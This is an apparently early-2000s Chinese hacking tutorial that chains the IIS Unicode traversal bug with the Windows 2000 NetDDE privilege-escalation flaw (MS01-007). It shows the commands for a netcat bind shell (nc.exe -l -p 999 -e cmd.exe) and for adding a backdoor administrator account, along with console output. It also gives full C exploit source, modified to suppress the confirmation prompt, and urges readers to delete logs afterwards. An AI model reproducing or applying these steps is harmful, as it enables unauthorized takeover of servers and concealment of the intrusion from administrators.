coolweis
前言
本文的目的不是要教你去黑人家的機器,隻是給大家一個思路。請不要做違反法律的事情。
任何利用本方法破壞别人機器等事情本人及本人所在的公司均不負責。
unicode漏洞可謂盡人皆知(偏偏許多系統管理者不知道,呵呵),但是unicode隻能拿到guest權限,雖然還有其他辦法獲得管理者權限,但是比較複雜。
2001年2月5日,atstake.com上面公布了一個windows2000的net dde消息權限提升漏洞。利用這個漏洞可以獲得管理者權限,完全控制機器。下面是nsfocus.com上面的關于這個漏洞的較長的描述。
釋出日期: 2001-2-7
更新日期: 2001-2-7
受影響的系統:
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Server
Microsoft Windows 2000 Advanced Server
描述:
網絡動态資料交換(Network Dynamic Data Exchange)是一種在不同的Windows機器上的應用程式之間動态共享資料的技術。這種共享是通過名為受信任共享(trusted shares)的通信通道來完成的,受信任共享由網絡DDE代理服務來管理。本地機器上的程序可以向網絡DDE代理送出請求,包括指定針對某個特定的受信任共享應該運作什麼應用程式。但是由于網絡DDE代理運作在本地系統使用者的安全上下文中并在此安全上下文中處理所有請求,是以攻擊者就有機會讓網絡DDE代理在本地系統使用者的安全上下文中執行其指定的代碼,進而提升權限并完全控制本地機器。
細節描述如下:
Network DDE DSDM(DDE Share Database Manager)服務負責維護所有活動的網絡DDE共享的一個清單并管理NetDDE連接配接。當該服務啟動時,在目前登入使用者的桌面上将建立一個隐藏的IPC視窗,用來與打開了DDE特性的應用程式進行通信。該視窗所處理的消息及其格式未在正式文檔中描述。
視窗的名字是“NetDDE Agent”,類名是“NDDEAgent”。由于視窗是由WINLOGON建立的,視窗過程将運作在WINLOGON的程序空間中,它以SYSTEM的權限來處理消息。該視窗所處理的消息之一是“WM_COPYDATA”消息,DDE用該消息将一塊記憶體從一個程序傳遞給另一個程序。絕大多數視窗間通信通常是由PostMessage( )來完成的,但WM_COPYDATA消息卻是由SendMessage( )函數來發
送的,并由底層的消息子系統(CSRSS)作為一種特殊情況進行處理。
通過該消息發送給隐藏視窗的結構具有如下格式:
4 位元組 - E1 DD E1 DD (魔數: 0xDDE1DDE1)
4 位元組 - 01 00 00 00 (未知: 0x00000001)
4 位元組 - 01 00 00 00 (未知: 0x00000001)
8 位元組 - 05 00 00 09
00 00 00 01 (DDE Share Mod Id)
4 bytes - CC CC CC CC (未知: 未使用?)
ASCIIZ - "SHARENAME$" (以NULL結尾的串: DDE受信任的共享名)
ASCIIZ - "cmd.exe" (以NULL結尾的串: DDE伺服器啟動指令)
當上述緩沖區傳遞給視窗過程時,它将首先檢查3個魔數(即前12個位元組)的值,如果與上述的值不同,則消息處理過程将傳回一個錯誤。否則就取出兩個ASCIIZ串并将其轉換成Unicode串,然後檢查共享名以確定它存在并且是一個受信任的共享。
由于預設情況下在系統中存在幾個受信任共享,是以可以對其進行窮舉,對每個共享名都嘗試運作指令直到找到一個受信任的共享。“DDE Share Mod ID”将和上述結構中的對應的數進行比較,如果相等則将在WINLOGON程序的上下文中執行上述第二個ASCIIZ串所指定的指令,是以将建立一個繼承了SYSTEM程序令牌的程序。“DDE Share Mod Id”本應是一個相對随機的8位元組數,但實際上卻一直是個常數0x0100000009000005。
<* 來源:DilDog ([email protected])
Microsoft Security Bulletin (MS01-007)
*>
從上面的描述可以看出,我們可以利用這個漏洞進行提升權限。
根據atstake.com提供的程式,經過試驗證明确實可以提升使用者權限。假設我們編譯的檔案名為ndde.exe。
我們在指令行下輸入ndde.exe net user aaa /add,這樣我們就建立了一個使用者,使用者名為aaa,權限為user。密碼為空。注意,如果在本地安全政策中指明密碼政策的話,就要加上複雜的密碼,否則這是不能建立成功的。
接着可以用ndde.exe net localgroup administrators aaa /add将這個賬号加入到管理者組中。所有操作必須在本地計算機上登陸。不管你是用user使用者登陸還是administrator登陸,要注意的是net dde 和net dde dsdm兩個服務要開放的。據atstake.com稱這兩個服務預設是開放的,我沒有檢查是否為預設開放。據袁哥講預設識不開的,我也不知道開不開了,懶得再裝一個機器試了,就當時開放得吧:)
下面我們看看如何利用這個漏洞和unicode漏洞結合獲得管理者權限。
如何利用unicode漏洞已經講的很多了,我就不講了,下面直入主題——獲得管理者權限。
在上傳的檔案中要包括nc.exe,ndde.exe。
首先用nc.exe在目标機器上開一個端口,假設為999端口。
http://www.nothisdomain.com/scripts/nc.exe -l -p 999 -t -e c:\winnt\system32\cmd.exe
然後再本機上nc www.nothisdomain.com 999
會出現這樣的視窗:
C:\Inetpub\scripts>nc www.nothisdomain.com 999
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版權所有 1985-1998 Microsoft Corp.
C:\Inetpub\scripts>
OK!我們進來了,現在的權限是guest!我們運作net user aaa /add
可以發現一下錯誤。
C:\Inetpub\scripts>net user aaa /add
net user aaa /add
系統發生 5 錯誤。
拒絕通路。
C:\Inetpub\scripts>
可見權限不夠,好了,我們現在就要提升權限了。
首先建立一個aaa的賬号。
C:\Inetpub\scripts>ndde.exe net user aaa /add
ndde.exe net user aaa /add
C:\Inetpub\scripts>
好像沒什麼反應,很快就運作完了,我們看看結果。
C:\Inetpub\scripts>net user
net user
\\WWW 的使用者帳戶
aaa ad Administrator
Guest IUSR_KHB01 IWAM_KHB01
khb TsInternetUser
指令成功完成。
可以看到已經出現了aaa這個賬号了!!
好了我們要成為管理者了!!
C:\Inetpub\scripts>ndde.exe net localgroup administrators aaa /add
ndde.exe net localgroup administrators aaa /add
C:\Inetpub\scripts>
我們來看看運作的結果:
C:\Inetpub\scripts>net localgroup administrators
net localgroup administrators
别名 administrators
注釋 管理者對計算機/域有不受限制的完全通路權
成員
aaa
ad
Administrator
指令成功完成。
我們可以看到aaa這個賬号在管理者組了!!!
我們可以用将Iusr_machine的賬号弄到管理者組中去,不過比較容易被發現,到底要怎麼做自己看着辦吧。
我們有了管理者權限就可以為所欲為了!!!
趕快删你們删不掉的日志吧,呵呵:)
就寫到這裡吧,有什麼問題可不要找我呀。
我餓了,還沒吃飯呢,我要吃飯去了~~
886:)
哦,差點忘了,源程式自己編譯去吧,沒什麼大問題,注意把下面一行注釋掉。
if(MessageBox(NULL,svPrompt,"Confirmation",MB_YESNO|MB_ICONQUESTION|MB_SETFOREGROUND)==IDNO)
不然會在控制台彈出視窗的,程式運作不下去的:)
源程式如下,我做了一點點的修改,可能你也要改:)
#include
#include
#include
#include
void NDDEError(UINT err)
{
char error[256];
NDdeGetErrorString(err,error,256);
MessageBox(NULL,error,"NetDDE error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
// exit(err);
}
void *BuildNetDDEPacket(const char *svShareName, const char* svCmdLine, int *pBufLen)
{
// Build NetDDE message
int cmdlinelen=strlen(svCmdLine);
int funkylen=0x18+strlen(svShareName)+1+cmdlinelen+1;
char *funky=(char *)malloc(funkylen);
if(funky==NULL) {
MessageBox(NULL,"Out of memory.","Memory error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
return NULL;
}
funky[0x00]=(char)0xE1;
funky[0x01]=(char)0xDD;
funky[0x02]=(char)0xE1;
funky[0x03]=(char)0xDD; // 0xDDE1DDE1 (magic number)
funky[0x04]=(char)0x01;
funky[0x05]=(char)0x00;
funky[0x06]=(char)0x00;
funky[0x07]=(char)0x00; // 0x00000001 (?)
funky[0x08]=(char)0x01;
funky[0x09]=(char)0x00;
funky[0x0A]=(char)0x00;
funky[0x0B]=(char)0x00; // 0x00000001 (?)
funky[0x0C]=(char)0x05; // ShareModId
funky[0x0D]=(char)0x00;
funky[0x0E]=(char)0x00;
funky[0x0F]=(char)0x09;
funky[0x10]=(char)0x00;
funky[0x11]=(char)0x00;
funky[0x12]=(char)0x00;
funky[0x13]=(char)0x01;
funky[0x14]=(char)0xCC; // unused (?)
funky[0x15]=(char)0xCC;
funky[0x16]=(char)0xCC;
funky[0x17]=(char)0xCC;
memcpy(funky+0x18,svShareName,strlen(svShareName)+1); // Share name
memcpy(funky+0x18+strlen(svShareName)+1,svCmdLine,cmdlinelen+1); // Command line to execute
*pBufLen=funkylen;
return funky;
}
int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine,int nCmdShow)
{
// TODO: Place code here.
// Check command line
int cmdlinelen;
if(lpCmdLine==NULL || lpCmdLine[0]==‘\0‘) {
MessageBox(NULL,"Syntax is: netddmsg [-s sharename] ","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
return -1;
}
cmdlinelen=strlen(lpCmdLine);
char *szShare=NULL;
char *szCmdLine=lpCmdLine;
if(strncmp(lpCmdLine,"-s",2)==0) {
szShare=lpCmdLine+2;
while ((*szShare)==‘ ‘)
szShare++;
char *szEnd=strchr(szShare,‘ ‘);
if(szEnd==NULL) {
MessageBox(NULL,"You must specify a command to run.","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
return -1;
}
szCmdLine=szEnd+1;
*szEnd=‘\0‘;
}
// Get NetDDE Window
HWND hwnd=FindWindow("NDDEAgnt","NetDDE Agent");
if(hwnd==NULL) {
MessageBox(NULL,"Couldn‘t find NetDDE agent window","Error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
return -1;
}
// Get computer name
DWORD dwSize=256;
char svCompName[256];
GetComputerName(svCompName,&dwSize);
// Get list of shares to try
char *sharename,*sharenames;
if(szShare==NULL) {
// Try all shares
UINT err;
DWORD dwNumShares;
// deep check otgpdvt
err=NDdeShareEnum(svCompName,0,NULL,0,&dwNumShares,&dwSize);
if(err!=NDDE_NO_ERROR && err!=NDDE_BUF_TOO_SMALL) {
NDDEError(err);
}
sharenames=(char *)malloc(dwSize);
err=NDdeShareEnum(svCompName,0,(LPBYTE)sharenames,dwSize,&dwNumShares,&dwSize);
if(err!=NDDE_NO_ERROR) {
NDDEError(err);
}
} else {
// Try command line share
sharenames=(char *)malloc(strlen(szShare)+2);
memset(sharenames,‘0‘,strlen(szShare)+2);
strcpy(sharenames,szShare);
}
// Try all shares
for(sharename=sharenames;(*sharename)!=‘\0‘;sharename+=(strlen(sharename)+1)) {
// Ask user
if(szShare==NULL) {
char svPrompt[256];
_snprintf(svPrompt,256,"Try command through the ‘%s‘share?",sharename);
// if(MessageBox(NULL,svPrompt,"Confirmation",MB_YESNO|MB_ICONQUESTION|MB_SETFOREGROUND)==IDNO)
// continue;
}
// Get NetDDE packet
void *funky;
int funkylen;
funky=BuildNetDDEPacket(sharename, szCmdLine, &funkylen);
if(funky==NULL)
return -1;
// Perform CopyData
COPYDATASTRUCT cds;
cds.cbData=funkylen;
cds.dwData=0;
cds.lpData=(PVOID)funky;
SendMessage(hwnd,WM_COPYDATA,(WPARAM)hwnd,(LPARAM)&cds);
// Free memory
free(funky);
}
// Free memory
free(sharenames);
return 0;
}